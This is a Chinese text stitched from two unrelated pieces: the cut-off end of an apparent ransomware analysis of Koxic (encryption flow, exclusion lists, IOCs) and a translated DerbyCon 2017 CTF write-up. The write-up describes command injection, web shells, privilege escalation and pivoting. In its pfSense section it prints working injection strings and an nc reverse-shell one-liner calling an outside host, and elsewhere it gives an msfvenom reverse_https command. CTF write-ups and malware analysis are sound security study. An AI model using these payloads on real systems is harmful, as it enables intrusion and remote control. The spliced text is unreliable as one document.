绘制加密目标列表的线程和执行实际加密过程的多个线程同时运行，以逐个加密列表中的目标文件。加密过程包括在使用文件映射功能覆盖加密数据之前，先更改原始文件的名称。这里使用的函数调用流程如下。
MoveFileExW – CreateFileMappingW – MapViewOfFile – [Encryption] –
UnmapViewOfFile
表5.文件加密流程
加密算法是AES CBC模式，它使用32字节长的密钥和16字节的IV。
值得注意的一点是，当对文件进行加密时，它们是在16字节块中完成的，但对最后一个块不使用填充。因此，将文件划分为16个字节后，文件末尾的剩余部分不加密，而保留原始数据。
似乎开源libtomcrypt被原样用于加密代码。
用于文件加密的AES密钥通过RSA加密后保存在勒索信的末尾。IV值以纯文本的形式添加到加密密钥后面，最终变成以下内容。
图7.赎金说明中保存的加密AES密钥和IV（带下划线）示例
文件加密完成后，将在%TEMP%目录中创建勒索通知，并使用记事本打开。
**[加密异常]**
* 扩展
诸如“.ps1”和“rtp”之类的条目看起来像是错误的。
.386, .adv, .ani, .bat, .bin, .cab, .cmd, .com, .cpl, .cur, .deskthemepack,
.diagcab, .diagcfg, .diagpkg, .dll, .drv, .exe, .hlp, .hta, .icl, .icns, .ico,
.ics, .idx, .key, .ldf, .lnk, .lock, .mod, .mpa, .msc, .msi, .msp, .msstyles,
.msu, .nls, .nomedia, .ocx, .pdb, .prf, .ps1., .rom, rtp, .scr, .shs, .spl,
.sys, .theme, .themepack, .wpx,
表6.加密排除的扩展
* 路径
., .., windows, System Volume Information, SysReset, Config.Msi, bootfont.bin,
boot.ini, ntuser.dat, desktop.ini, recycle.bin, $windows.~ws, tor browser,
boot, system volume information, perflogs, google, application data, windows,
programdata, windows.old, appdata, mozilla, iconcache.db, ntldr,
ntuser.dat.log, thumbs.db, bootsect.bak, ntuser.ini, autorun.inf, All Users,
microsoft,
表7.加密排除的路径
AhnLab产品使用以下别名检测并阻止Koxic勒索软件。
**[文件检测]**
– Ransomware/Win.KoxicCrypt.R533926 (2022.11.11.00)
– Trojan/Win.Wacatac.C5290617 (2022.11.04.00)
– Trojan/Win.Generic.C4963639 (2022.02.11.01)
**[行为检测]**
– Ransom/MDP.Delete.M2117
– Malware/MDP.Behavior.M2771
– Ransom/MDP.Decoy.M4475
**[IOC信息]**
**MD5**
e9fdad2df8f8b95398f3c8f27e940f5d
3c4fa896e819cb8fada88a6fdd7b2cc7
01a4208ab9d4b2cfa87ffbdef2f8ab78
* * * | 社区文章 |
# 【CTF 攻略】DerbyCon 2017 CTF Write Up
|
##### 译文声明
本文是翻译文章，文章来源：nettitude.com
原文地址：<https://labs.nettitude.com/blog/derbycon-2017-ctf-write-up/#top>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
在本文中，我们将为读者详细介绍我们团队在Derbycon 2017“夺标大赛”中夺魁的具体过程。
**Facespace**
浏览这台机器时，我们发现了一个新的社交媒体应用程序。这时，我们试图创建一个帐户并登录。此外，在页面的左侧可以查看已经创建帐户的用户的个人资料。
于是，我们创建了一个帐户并登录，这时我们被重定向到如下所示的页面。有趣的是，它允许上传tar.gz文件，大家知道tar文件有一些有趣的属性…通过考察该网站，我们发现上传的tar文竟然可以是untar的，并且这些文件将会写入/users/path。
tar的一个更有趣的属性是，默认情况下，它不允许使用符号链接。相反，它会将符号链接添加到归档。为了确保对文件而不是符号链接进行存档，可以使用–h或–dereference标志，具体如下所示。
Symlinks可以指向文件和目录，因此要测试页面是否易受攻击，我们创建了以下归档文件：
**/root目录**
**/etc**
**/root/.ssh中的known_hosts文件**
上传成功，该tar文件被提取了出来。
现在来确定是否有实际可访问的东西。 导航到/ users / zzz / root / etc / passwd，以查看passwd文件。
真棒——我们竟然有访问权限。我们将rcvryusr的哈希值直接插入到哈希表中，不久之后，备份的密码已经返回，现在我们可以通过SSH登录了。
然后，我们花了大量时间尝试在这个Slackware 14.2主机上升级特权。不过主办方告诉我们，在CTF完成之后，没有任何特权升级。
**
**
**JitBit**
需要说的是，在这次挑战赛的过程中，实际上Rob
Simon发现的是一个0day漏洞！完成比赛后，我们已经就各方进行了磋商，现在Rob决定披露这个漏洞，并且是在完全符合相关流程的情况下披露的。
当然，这个0day是我们事后才确认的。当时，我们导航至.299网站后，被重定向到/KB页面。下面是我们得到该应用程序的供应商和版本号方面的信息。
在获取供应商和版本号后，外面首先尝试找到源代码以及任何版本说明信息。
由于这是一个0day漏洞，自然没有发现与它有关的任何信息。源代码也没有找到，但是可以下载试用版软件。
我们下载了zip文件并将其解压缩，发现它是一个.NET应用程序。既然是.NET，当然要找一个相应的反编译器了，于是选中了来自https://JetBrains.com的dotPeek。当然，除了dotPeek之外，还有许多不同的.NET反编译器，例如dnSpy等，我们建议您可以分别尝试一下，以便找到自己顺手的那一个。
将HelpDesk.dll加载到dotPeek中，单击右键，选中export to
Project选项，就可以从.dll中提取所有的源代码。这样的话，就可以将所有能够提取的源代码都放入指定的文件夹中了。
导出源代码后，我们使用Visual Code Grepper（https://github.com/nccgroup/VCG）快速浏览了一遍：
“我们应该关注那些任何人都能对其进行安全审查的代码，特别是在时间很宝贵的时候”
比赛中，时间绝对是非常宝贵的，所以我们都奔着源代码去了。
虽然我们找到了一些问题，但是在进一步研究之后，发现它们都是假阳性的。
其中LoadXML引起了我们特别的关注，尽管XMLDocument在最新版本的.NET之外的所有版本中都容易受到XXE注入的影响，但是供应商已经正确地使XMLResolver作废，从而缓解了这个威胁。
对源代码进行了深入审查之后，并没有发现真正的漏洞。
之后，我们继续审查应用程序附带的所有其他文件。是的，我们同意我们应该首先阅读自述文件，但当时已经到了深夜了！
无论如何，都应该先看自述文件。目录中有一些非常有趣的条目。 我们来看看AutoLogin功能。
从文字表明看，它意味着通过创建用户名+ email +共享密钥的MD5哈希值，就可以以该用户身份登录。 那很酷，但共享密钥是什么？
然后，一个tweet引起了我们的兴趣。
我们尝试通过提交问题来注册一个帐户，但没有成功。然后，又一个tweet到了。 也许这里要有事情发生。
所以，我们创建了一个帐户，然后触发该帐户的忘记密码功能，我们收到了这封电子邮件。
有趣——这就是自动登录功能啊。我们确实需要研究一下这个哈希是如何创建的。
此时，我们开始研究如何生成URL，并找到了HelpDesk.BusinessLayer.VariousUtils类中的GetAutoLoginUrl（）函数，其来源如下所示。
如readme文件所述，这就是AutoLogin哈希值得生成方式；通过附加用户名、电子邮件地址以及月和日。但是，这里真正的关键是SharedSecret。这一点，当时我们也是很怀疑，因为获得这个哈希值的唯一方法是通过电子邮件。
下一步是尝试了解这一切的运作方式。 此时，我们启动了Rubber Ducky
Debugging（https://en.wikipedia.org/wiki/Rubber_duck_debugging）。 我们也在本地安装了该软件。
看看我们的本地版本，我们注意到不能在试用版中更改共享密钥。不同的版本，情况是否完全相同呢？
现在，我们也开始意识到之前的一个tweet的含义了。
实际上，前面的KB页面已经泄露了管理员用户的用户名和电子邮件地址。有趣的是，虽然可以从发件人处获取电子邮件地址，但是用户名是admin …
我们尝试使用本地服务器的共享密码构建一个AutoLoginUrl。是的，是时候来找出这个密钥的正确生成方式了。
我们最终发现AutoLoginSharedSecret是使用以下代码初始化的。
这看起来很有前途。虽然此代码生成的共享密钥的长度足够长，但它也产生了一些允许恢复秘密的关键错误。第一个错误是限制了密钥空间；大写A-Z和2-9的空间还不够大。第二个错误是使用Random类：
https://msdn.microsoft.com/en-us/library/system.random(v=vs.110).aspx#Same
这不是随机的，当然供应商想要的是随机的。 如下文所述，通过提供相同的seed将意味着会得到相同的序列。
seed是一个32位有符号整数，很明显这意味着只有2,147,483,647种组合。
为了恢复密钥，可以将下列C＃写入（你猜到了！）LinqPad（https://www.linqpad.net/）。
代码以0的计数器开始，然后将相应的值作为“Random”类的seed来生成每个可能的秘密。
然后，利用用户名、电子邮件、日期和月份求出所有可能的哈希值，看看它是否与从忘记密码电子邮件中恢复的哈希值相匹配。
运行上述代码，就可以爆破出这个密钥了。需要说明的是，在这个阶段，CTF只提供了20分钟左右的时间。 这时，空气中弥漫着略显紧张的气氛。
这可以用于为管理员用户生成哈希值和自动登录链接。我们成功了！
我们在资产部分内拿下了一个flag。 我们提交了该flag，赢得了8000点（连同另一个挑战的得分，巩固了第一名的成绩）。
**海龟**
浏览172.30.1.231 Web服务器上的Web根目录（启用了目录列表功能）时，我们遇到了一个名为jacked.html的文件。
当在浏览器中呈现时，该页面引用了一个名为turtles.png的图像，但是在查看页面时并没有显示。 在页面标题“I Like
Turtles”中倒是有一点线索…我们猜想有人喜欢贝壳（shell）！
当查看页面的客户端的源代码时，我们看到有一个数据uri为turtle.png图像标签，但它看起来很可疑。
使用我们最喜爱的瑞士军队选择的工具，LinqPad（https://www.linqpad.net/——我们保证绝对不是他们的员工！），对数据（即uri字符串）进行Base64解码，我们看到这显然是转义序列。进一步解码为ASCII字符，我们得到了一个很大的线索——看起来很像是shellcode。
换码序列看起来就是x86指令，所以回到LinqPad去运行它。我们建立了一个简单的shellcode运行器，因为我们需要用到它。本质上，它会打开记事本（或您选择的任何其他应用程序）来建立一个进程，然后继续在该进程中分配内存。然后将shellcode写入相应的内存，之后线程被启动，并指向shellcode的顶部。可以在脚本中写入一个中断，以便在记事本启动后，您有时间附加一个调试器。最后两个字节是CD
80，实际上就是Int 80（Linux中的系统调用处理程序中断）。
使用WinDbg附加到该进程，然后进入LinqPad，int
80被触发，在WinDbg中触发了一个访问冲突。然后抓住这个异常，现在让我们来检查一下相关的内存。
一旦运行WinDbg，我们立即发现了一个问题，这里是int
80h而非Linux系统调用处理程序。这显然被设计为在不同的操作系统下运行。哎呀，好吧，让我们看看有什么挽救措施。
重要的一点是，在Linux中进行系统调用时，是通过寄存器将值从用户地址传递到内核。EAX保存系统调用号码，然后EBX，ECX，EDX，ESX和EDI依次存放调用参数。对shellcode进行转换，结果如下图所示。这里使用寄存器的值与本身进行异或运算，以便快速对寄存器进行清零。
03f50000 xor eax,eax ; zero eax register
03f50002 xor ebx,ebx ; zero eax register
03f50004 xor edx,edx ; zero eax register
03f50006 xor ecx,ecx ; zero eax register
03f50008 mov al,4 ; Set syscall(ECX) to 4 for sys_write
03f5000a mov bl,1 ; Set fd(EBX) to 1 for std out
03f5000c push 0A37h ; push 7n onto stack
03f50011 push 35634B4Fh ; push Okc5 onto stack
03f50016 push 4C4F5965h ; push eYOL onto stack
03f5001b push 646F636Ch ; push lcod onto stack
03f50020 push 6C656853h ; push Shel onto stack
03f50025 mov ecx,esp ; set buf(ECX) to top of stack
03f50027 mov dl,12h ; set length(EDX) to be 12h
03f50029 int 80h ; sys call
我们在这里看到，立即值4被移动到EAX寄存器的第一个字节（即AL）。这样实际上就是转换为系统调用syswrite。
根据上面的寄存器顺序，这个原型代码和汇编程序将认为EBX的值为1（即标准输出），ECX包含的是堆栈指针，即旗标所在的位置，EDX的值为12h（或18）这对应于字符串的长度。
所以，如果这是在一个Linux操作系统上运行的话，我们将把这个旗标写入控制台，而不是一个访问冲突，但是一切都不会丢失。我们知道堆栈包含了旗标，所以我们需要做的就是检查ESP寄存器（堆栈指针）中存储的内容。在WinDbg中，您可以使用d来转储不同格式的内存，然后使用第二个字母表示格式。例如在下面的截图中，屏幕截图中的第一个命令是dd
esp，它将以DWORD或4字节格式转储内存（默认为32个，返回128个字节的内存）。显示的第二个命令是da
esp，它以ASCII格式开始转储内存，直到它遇到空字符或读取48个字节为止。
**
**
**iLibrarian**
当浏览到172.30.1.236 Web服务器时，我们发现iLibrarian应用程序托管在同名的目录中。
关于这个网站，需要关注的两点是，我们在一个下拉菜单中有一个用户名列表，页面底部是一个版本号。此外，我们还能创建一个用户帐户。
当测试应用程序时，我们执行的前几个步骤是尝试查找默认凭据，版本号，然后如果可能，获取源/二进制文件。 这里的目的是尽可能地作为白盒子进行测试。
关于项目最近变动的一个很好的信息来源是GitHub上的问题选项卡。 有时，安全问题将被列出。 如下图所示，在iLibrarian
GitHub网站上列出的第一个问题是“RTF Scan Broken”。这看起来非常有趣，让我们来深入挖掘一下吧。
有一个RTF转换错误，显然，关于该错误的信息非常少。
我们看看具体的变化，以下代码看起来很有趣。
下一步是查看文件更改的历史记录。
列出的第一个更改是变量错误，这不是一个安全问题。 第二个变化看起来很有希望。
对shell参数进行转义，以确保用户提供的数据不能转换为系统命令，从而通过操作系统执行某些用户操作。通常的转义方法，是使用换行符、分号、单引号等。这种类型的漏洞是众所周知的，被称为命令注入。
在PHP（用于编写iLibrarian的语言）中，缓解措施通常是调用escapeshellarg（）来封装用户提供的数据。
看看“escape shell
arguments”方面的变化，我们可以发现，这里的变化是，使用针对传递给[exec（）](http://php.net/manual/en/function.exec.php)函数的两个参数调用escapeshellargs（）。
查看在进行此次更改之前版本，我们看到以下关键行。
首先创建一个名为$
temp_file的变量。这个变量被设置为当前临时路径加上filename的值，它是在上传manuscript文件期间传递的（manuscript是表单变量的名称）进行传递的。
然后从$ temp_file变量获取文件扩展名，如果它是doc，docx或odt，则文件将被转换。
注入发生在第三个高亮显示的代码中。通过提供经用转义字符间隔的命令值，我们就能完成命令注入。
太棒了。接下来我们打算尝试上传Web shell。为此，我们构建和上传了以下payload。
这样，我们就创建了一个页面，该页面将执行cmd参数中传递的任何值。应该注意的是，在渗透测试利用这样的问题时，不应该使用可预测的名称，例如test4.php，以免被别人定位和滥用（我们通常会生成多个GUID名称），理想情况下，应该提供一些内置的功能来限制IP地址。然而，这是一个CTF，时间是最宝贵的。但愿其他团队不会找到我们新创建的页面，因为它的名称太显眼了！
该文件被写入后，我们调用test4.php，查看它是以什么身份来运行。
正如预期的那样，我们是作为web用户运行的，所以只有有限的权限。不过，这足以搞定一些旗帜。我们决定使用完全交互式shell来升级我们对操作系统的访问权限——这个交互式shell也是使用相同的攻击向量得到的。
最后，我们设法进行提取。这里的操作系统是Ubuntu 15.04，利用Dirty Cow漏洞后，我们获取了超级用户权限，并拿下了这台机器上的最后一个旗标。
**
**
**Webmin**
这台机器开放了TCP端口80和10000。 80端口运行一个Web服务器，托管了一些可下载的挑战，而端口10000似乎是Webmin。
Webmin是一个引人入胜的目标，因为这个版本好像有一些已经公开的安全漏洞。 但是，我们尝试了一些漏洞代码之后，发现没有效果。
但是，端口80上的Web服务器却因其服务器banner而泄露操作系统；正是北韩的RedStar
3.0。啊哈——不久以前@hackerfantastic对RedStar进行了大量的研究，如果没记错的话，研究结果表明这个操作系统的安全性并不太好。果然…
https://www.exploit-db.com/exploits/40938/
对exploit进行一番调查，并简单地设置一个netcat侦听器后，使用适当的参数来运行exploit，看，立马就得到了一个root
shell。旗标顺利到手；当然由于来得太容易，分值肯定不会太高。不过这里我们还是要感谢@hackerfantastic！
**Dup Scout**
这台机器运行了一个名为Dup Scout Enterprise的应用程序。
它容易受到远程代码执行漏洞的攻击，在exploit-db上很容易找到相应的exploit。
我们通过使用admin：admin登录并查看系统信息页面，发现体系结构为32位。为了在这台机器上面使用该exploit，唯一要做的事情就是修改这个shellcode，使其适用于32位操作系统。
这可以通过msfvenom轻松实现：
msfvenom -p windows/meterpreter/reverse_https LHOST=172.16.70.242 LPORT=443 EXITFUN=none -e x86/alpha_mixed -f python
在目标服务器上运行exploit之前，我们要在本地搭设相应的软件，以检查它是否完全按预期工作。然后，我们才在生产服务器上面运行，并获得了具有SYSTEM级访问权限的shell。效果不错，也很轻松。
**X86-intermediate.binary**
接下来我们将借助调试器（也即IDA），完成两项二进制挑战。
通过浏览172.30.1.240 Web服务器，我们发现下图所示的目录中包含7个不同二进制文件。下面我们要做的事情就是搞定中间的x86二进制文件。
通过在IDA中打开它并直接转到主函数：
粗略地说，这实际上就是把问题转换为检查传递给可执行文件的第一个参数是否为-p。如果是，则下一个参数存储为第一个密码。然后将其传递给CheckPassword1（不是实际名称，它在IDA中已被重命名）。如果这是正确的，用户被提示输入第二个密码，由CheckPassword2检查。如果第二个密码正确，则会向用户显示“Password
2: good job, you’re done” 的消息。希望这次也能获得旗标！
通过打开CheckPassword1函数，我们立即看到它正在建立一个字符数组。
然后，将指向该数组开头的指针连同该函数的唯一参数一起传递给_strcmp，该参数是以-p传递的密码。
我们检查了存入char数组的值，它们看起来像小写的ASCII字符。 解码后，发现其值为__pass。
将该值传递给具有-p标志的二进制文件，我们得到以下内容：
好，下面我们开始寻找第二个密码。 直接跳到CheckPassword2函数，我们在函数的开头发现如下内容。这次会与之前那个函数的情况完全一样吗？
不，这次是完全不同的，看看函数主体部分的屏幕截图你就会明白了。它看起来比之前那个函数要复杂一点…
利用托管于[https://godbolt.org/的一款优秀编译工具，大致可以将上面的代码转换为以下内容：](https://godbolt.org/%E7%9A%84%E4%B8%80%E6%AC%BE%E4%BC%98%E7%A7%80%E7%BC%96%E8%AF%91%E5%B7%A5%E5%85%B7%EF%BC%8C%E5%A4%A7%E8%87%B4%E5%8F%AF%E4%BB%A5%E5%B0%86%E4%B8%8A%E9%9D%A2%E7%9A%84%E4%BB%A3%E7%A0%81%E8%BD%AC%E6%8D%A2%E4%B8%BA%E4%BB%A5%E4%B8%8B%E5%86%85%E5%AE%B9%EF%BC%9A)
这个解决方案的方法是将这个代码调整成C＃，这次运行每个可能的字符组合，然后检查生成的值是否匹配存储的哈希值。
运行它，我们发现了- @ 12345！），然后将其传递给exe来进行验证。
为了获得旗标，只需要组合成the_pass @ 12345！）即可，提交后，我们得到了500点。
**
**
**arm-hard.binary**
文件arm-hard.binary包含一个ELF可执行文件，它通过向R0寄存器写入连续的字符来标出一个旗标。它使用类似于ROP的方法，将函数地址列表压到堆栈上，然后当每个函数返回时，它就会从列表中调用下一个函数。
在shellcode中，ROP是一种常用的技术。它是一种基于堆栈的缓冲区溢出攻击方法，即使包含堆栈的内存被标记为不可执行，也能够攻击得手。被执行的代码片段（称为“gadgets”）通常是从其他可用的代码段中挑选出来的。在本例中，不需要这样做，因为二进制文件已经被编写成包含所需的代码片段，而ROP只是用来混淆控制流。
为了进一步混淆该行为，通过向值0x61（ASCII a）添加偏移量来形成每个字符。这是利用寄存器R1中的基值（0x5a + 0x07 = 0x61）完成的：
例如，这里是将字母n写入R0的gadget（0x61 + 0x0d = 0x6e）：
这里是大写字母B的相关gadget：
寄存器R10中保存的基地址等于第一个gadget（0x853c）的地址，gadget地址作为偏移量。例如：
这里通过第一条指令放置在R11中的地址等于0x853c + 0x30 =
0x856c，我们上面看到的是写入字母n的gadget。第二个指令将其压到堆栈上。通过将这些操作序列串在一起，可以拼出一条消息：
上述gadget分别对应于字母n，o，c，y，b，r，e和d。由于返回栈按照先入先出的原则进行操作，所以它们以相反的顺序执行，因此可以拼出单词derbycon（旗标的一部分）。为了启动这个进程，程序可以弹出第一个gadget的地址，然后返回给它：
通过分析压到堆栈的所有gadget地址，最后找到了完整旗标，其实是一个电子邮件地址形式：
n [email protected]
**NUKELAUNCH & NUKELAUNCHDB**
我们注意到服务器正在运行IIS
6并启用了WebDav。经验告诉我们，这种组合意味着它很可能会含有CVE-2017-7269漏洞。幸运的是，Metasploit框架中包含公开的漏洞利用代码：
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/iis/iis_webdav_scstoragepathfromurl.rb
正如所料，该exploit确实管用，我们从该服务器收集到一些旗标。
我们收集了所有明显的旗标后，我们开始更加详细地查看服务器。我们运行了一个简单的net
view命令，并发现受感染的服务器NUKELANUCH可以看到一个名为NUKELAUNCHDB的服务器。
我们利用笔记本电脑进行快速端口扫描，发现这台服务器确实存在，但没有开放端口。因此，我们需要设法找到这台服务器的具体访问方式。根据我们的推测，可能存在一些网络隔离，所以我们使用原来的服务器作为转发流量的枢纽点。
实际上，1433号端口在NUKELAUNCHDB上面是开放的，只是要通过NUKELAUNCH路由。
我们利用Metasploit内置的pivoting功能，通过NUKELAUNCH将流量推送到NUKELAUNCHDB。为此，只需简单地添加一条路由，类似于route
add NUKELAUNCHDB 255.255.255.255
10，其中10是我们希望路由的会话号。然后我们启动了Metasploit的socks代理服务器。这样，我们就可以利用其他工具，并通过代理链将其流量推送到NUKELAUNCHDB了。
在这个阶段，我们对sa帐户的密码进行了一些有根据的猜测，并使用基于CLR的自定义存储过程（http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based -custom-stored-procedure
/）获得了针对NUKELAUNCHDB上的底层操作系统的访问权限。
**ACMEWEAPONSCO**
根据HTTP响应的头部来看，我们发现这个主机运行的是一个易受攻击的Home Web Server版本。
经研究发现以下exploit-db页面：
https://www.exploit-db.com/exploits/42128/
它详细介绍了路径遍历攻击，可以用于在受影响的机器上执行二进制文件。最初，我们想利用这个漏洞来运行编码的PowerShell命令，但是没有得手，所以我们开始寻找其他利用方式。
这个Web应用程序好像提供了文件上传功能，但功能不是很完善。
然而，根据页面上有一个说明，发现FTP仍然可以用于上传文件，所以这就是我们的下一站。
匿名FTP访问已启用，因此我们可以直接登录并上传可执行文件。眼下，我们可以将文件上传到目标系统并运行二进制文件。但是，我们不知道我们上传的二进制文件的完整路径。幸运的是，cgi-bin中有一个文本文件，详细介绍了相关的配置：
接下来，我们要做的就是运行我们上传的二进制文件。以下Web请求可以完成这项工作，从而获取系统的访问权限。
旗标分散在文件系统和MSSQL数据库中。其中一个旗标是在用户桌面上找到的，但是需要特定的图形格式才能访问，因此我们启用了RDP来抓取它。
**
**
**pfSense**
这个挑战是基于Scott Brit（@ s4squatch）在DerbyCon
2017之前不久发现的一个漏洞。这不是一个0day（Scott已经报告给了pfSense，而且在补丁说明中已经隐约提及了这个漏洞的情况），但是我们对它的了解非常有限。
这台机器只给我们开放了一个443 TCP端口，提供一个启用HTTPS服务的网站。访问该网站后，在登录页面发现了开源防火墙软件pfSense。
我们尝试猜解密码，例如典型的默认用户名和密码admin：pfsense；然而，这次没有成功。
一段时间后，我们将用户名更改为pfsense，并尝试使用pfsense密码，之后.Pfsense用户为我们提供了少量低分值的旗标。
乍看之下，这个挑战似乎是微非常普通。
pfSense有一个名为exec.php的页面，可以调用系统命令并运行PHP代码。不过，我们很快意识到pfsense用户几乎没有任何权限。我们只能访问少量页面。我们可以安装widgets查看一些系统信息（包括版本号），并通过图片widget来上传文件。尽管如此，在框这台机器上面获得shell的机会看起来非常渺茫。
然后，我们决定抓取由pfSense提供的所有页面的目录列表。我们抓取了一个软件的副本，并从文件系统中复制了所有的页面路径和名称。然后，将得到的列表与DirBuster工具结合起来实现自动化，我们尝试了每一个页面，试图确定是否有其他任何我们有权访问的东西。其中有两个页面返回了HTTP
200 OK状态。
index.php – We already have this.
system_groupmanager.php – Hmm…
浏览到system_groupmanager.php后找到了另一个分值略高的旗标。
该页面负责管理组成员和他们拥有的权限；真棒！
我们意识到我们的用户不是“admin”组的成员，所以将其加入了这一个用户组，但是好像没用：没有改变界面，也没有访问诸如exec.php这样的页面的权限。
几个小时过去了，我们试图寻找各种漏洞，但毫无进展。
当查看源代码时，在页面本身中没有找到任何漏洞，不过发现pfSense使用了大量的include，所以我们正在使用的方法与手动方式没太大区别。
随着时间的流逝，我们突然想到可以到Google搜索一下“system_groupmanager.php exploit”…
在搜索结果中有一个关于漏洞的简要描述以及与pfSense安全咨询通知相关的链接
https://www.rapid7.com/db/vulnerabilities/pfsense-sa-16_08-webgui
通过它，我们了解到了更多的信息示，包括问题的发现者，等等。嘿，这证实了我们可能步入正轨了。然而，我们没有找到任何公开的POC。
这个文章中包含下面一小段文字：
“A command-injection vulnerability exists in auth.inc via
system_groupmanager.php.
This allows an authenticated WebGUI user with privileges for
system_groupmanager.php to execute commands in the context of the root user.”
使用新文件作为代码审查的目标和目标参数，找到该漏洞将会相当容易，但是我们可以做得更好。
pfSense是一个开源项目，它使用GitHub进行版本控制。通过查看与auth.inc相关联的历史记录，我们很快就找出了受影响的代码行，这进一步简化了我们对该漏洞的探索过程。更好的是，安全提示的页脚内的信息显示了该软件的修补版本（2.3.1），进一步缩小了我们的搜索范围。
确定了特定的代码行后，我们就能够理解执行路径了：
1.数字用户ID将提交给位于/usr/local/www/system_groupmanager.php中的代码
2.它作为PHP数组被传递给/etc/inc/auth.inc中的local_group_set（）函数。
3.在传入的数组上执行一个implode（），将数组对象转换为单个字符串对象，并使用逗号连接。
4.然后将它传递给一个名为mwexec（）的函数，并且没有事先进行任何类型的转义或过滤，该函数似乎调用了系统二进制程序/ usr / sbin /
pw，现在是其参数的一部分。
为了利用此漏洞，我们需要用引号对该字符串进行转义处理，并键入合适的命令。
最初，我们利用盲注，所以没有将信息返回到网页，为此我们选择使用ping命令，然后使用Wireshark监控传入流量，以确认是否成功。
尽管我们对这个漏洞有了深入的了解，但是攻击仍然不尽如人意。
我们使用相同版本的pfSense软件（2.2.6）作为测试环境，并尝试使用相同的命令，虽然会导致同样的问题；但是仍然无法执行命令。
但是，由于我们对自己的实例获得了管理访问权限，因此我们可以查看系统日志和相关的错误信息。
不知何故，/sbin/ping或IP地址是被pw应用程序作为无效用户ID返回的，这意味着字符串转义没有完全成功，并且/usr/bin/pw实际上把我们的命令当成命令行参数了，这不符合我们的预期。
在鼓捣了更多的引号和转义序列之后，以下的字符串导致ping成功执行，并致使大量ICMP数据包涌入我们的网络接口。
0';/sbin/ping -c 1 172.16.71.10; /usr/bin/pw groupmod test -g 2003 -M '0
在CTF环境下尝试相同的输入也取得了成功。这样，我们已经实现了命令执行。当时，没有人获取该机器的root权限，并且如果我们想要通过@_DerbyconCTF在推特上提供的挑战分数成为赢家的话，就必须提高速度。
经再三考虑，我们认为下列方式要更加简练：
0';/sbin/ping -c 1 72.16.71.10;'
我们认为所有转义问题都将归结为以适当数量的引号来结束命令，但如前所述，在比赛期间，我们使用了更加繁琐的版本，毕竟当时只要管用就行了。
下一步…我们如何才能得到一个shell？
pfSense是FreeBSD的删减版本。没有提供wget，也没有提供curl。当然，我们可以用cat命令来写入网页目录，但是我们选择了一个传统的老式Linux反向shell。
感谢@PentestMonkey及其作弊表（http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet）：
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.16.71.10 12345 >/tmp/f
我们启动了一个netcat监听器，并将其作为完整参数的一部分使用：
0'; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.16.71.10 12345 >/tmp/f;/usr/sbin/pw groupmod test -g 2003 -M '0
或者，也可以像下面这样来借助于post请求：
&members=%5B%5D=0'%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+172.16.71.10+12345+>/tmp/f%3b/usr/sbin/pw+groupmod+test+-g+2003+-M+'0
攻击字符串准备就绪后，我们将用户移动到一个组中，通过保存操作来触发exploit。
我们对以下照片的质量感到很抱歉！
这将导致代码运行，为我们创建一个反向连接，从而可以捕获包含在/root/flag.txt中的pfSense挑战的最后一个旗标。
与此同时，我们获得了5000分，并将两枚TrustedSec挑战硬币中的第一枚收入囊中。
**
**
**朝鲜战略导弹攻击计划**
这个机器通过telnet提供了一个基于文本的游戏。
我们以为这个机器上的挑战会比原来是更难，所以在花了一些时间尝试几件事情之后，我们作出了一个战术决定，放弃它。
对我们来说有点令人沮丧，这是个错误的决定，因为实际上拿下这个机器并非我们想像的那么难。
从help命令看，我们认为它可能是Ruby命令注入。在CTF结束后，我们曾与SwAG团队就这个进行过交流，我们了解到当初的判断是正确的，正确的解决之道就是找到正确点来注入Ruby命令。最后这个挑战被其他团队拿下，同时还要感谢DerbyCon
CTF组织者，在比赛结束后提供了一些截图，才使得我们有机会跟大家分享。
我们将分享我们对这个机器上面的挑战问题的分析，但需要说明的是，我们未能在竞争中解决这个问题。
它提供了一个帮助命令，这导致我们怀疑这可能是在玩Ruby命令注入。帮助命令打印出各种游戏命令以及公共/私有函数。 其中的一小部分样本如下所示：
target=
position
position=
id
yield=
arm!
armed?
这些帮我们确定出在幕后运行的Ruby代码为：
equal?
instance_eval
instance_exec
我们手动尝试了几个攻击矢量，但是我们需要一种自动化的方法；手动尝试注入攻击需要花费的时间太长。 为此，我们使用expect生成了一个自定义脚本。
如果你对expect还不熟悉的话，以下是维基百科对它的简介：
“expect，由Don Libes编写，它是一个Tcl脚本语言的插件，是一种用来实现与提供文本终端接口的程序进行自动交互的程序。”
我们经常不得不利用一堆自定义脚本来自动执行各种任务，因此如果您不熟悉这个程序的话，倒是值得深入了解一下。 我们实现的自动执行任务的代码如下：
然后，我们从游戏中获取了所有的命令，并通过这个expect脚本来运行：
cat commands | xargs -I{} ./expect.sh {} | grep "Enter Command:" -A 1
在找出我们认为是游戏中正确的序列之后，我们尝试了多种注射技术，但是都没有成功。其示例如下所示：
cat commands | xargs -I{} ./expect.sh {}” print 1” | grep "Enter Command:" -A 1
cat commands | xargs -I{} ./expect.sh {}”&& print 1” | grep "Enter Command:" -A 1
cat commands | xargs -I{} ./expect.sh {}”|| print 1” | grep "Enter Command:" -A 1
cat commands | xargs -I{} ./expect.sh {}”; print 1” | grep "Enter Command:" -A 1
我们也尝试用exec或system来ping我们，因为我们不知道响应是否是blind的，或结果是否显示到屏幕上面：
cat commands | xargs -I{} ./expect.sh {}” exec(‘ping 172.16.70.146’)”
识别主机操作系统并不容易，所以我们必须确保我们运行的命令可以同时在Windows和Linux上运行。这里没有开放telnet以外的端口，甚至无法ping主机找到TTL，因为防火墙会阻止所有其他入站连接。
最后，我们没有成功。
在与CTG团队SwAG进行讨论之后，他们终于搞清楚了这里的注入技术：这是一个在Ruby中使用eval语句的例子，后面是一个要执行的命令，例如：
还应该注意的是，你不能在payload中使用空格。
**
**
**re-exploitation的自动化**
最后，我们来聊一聊效率方面的话题。
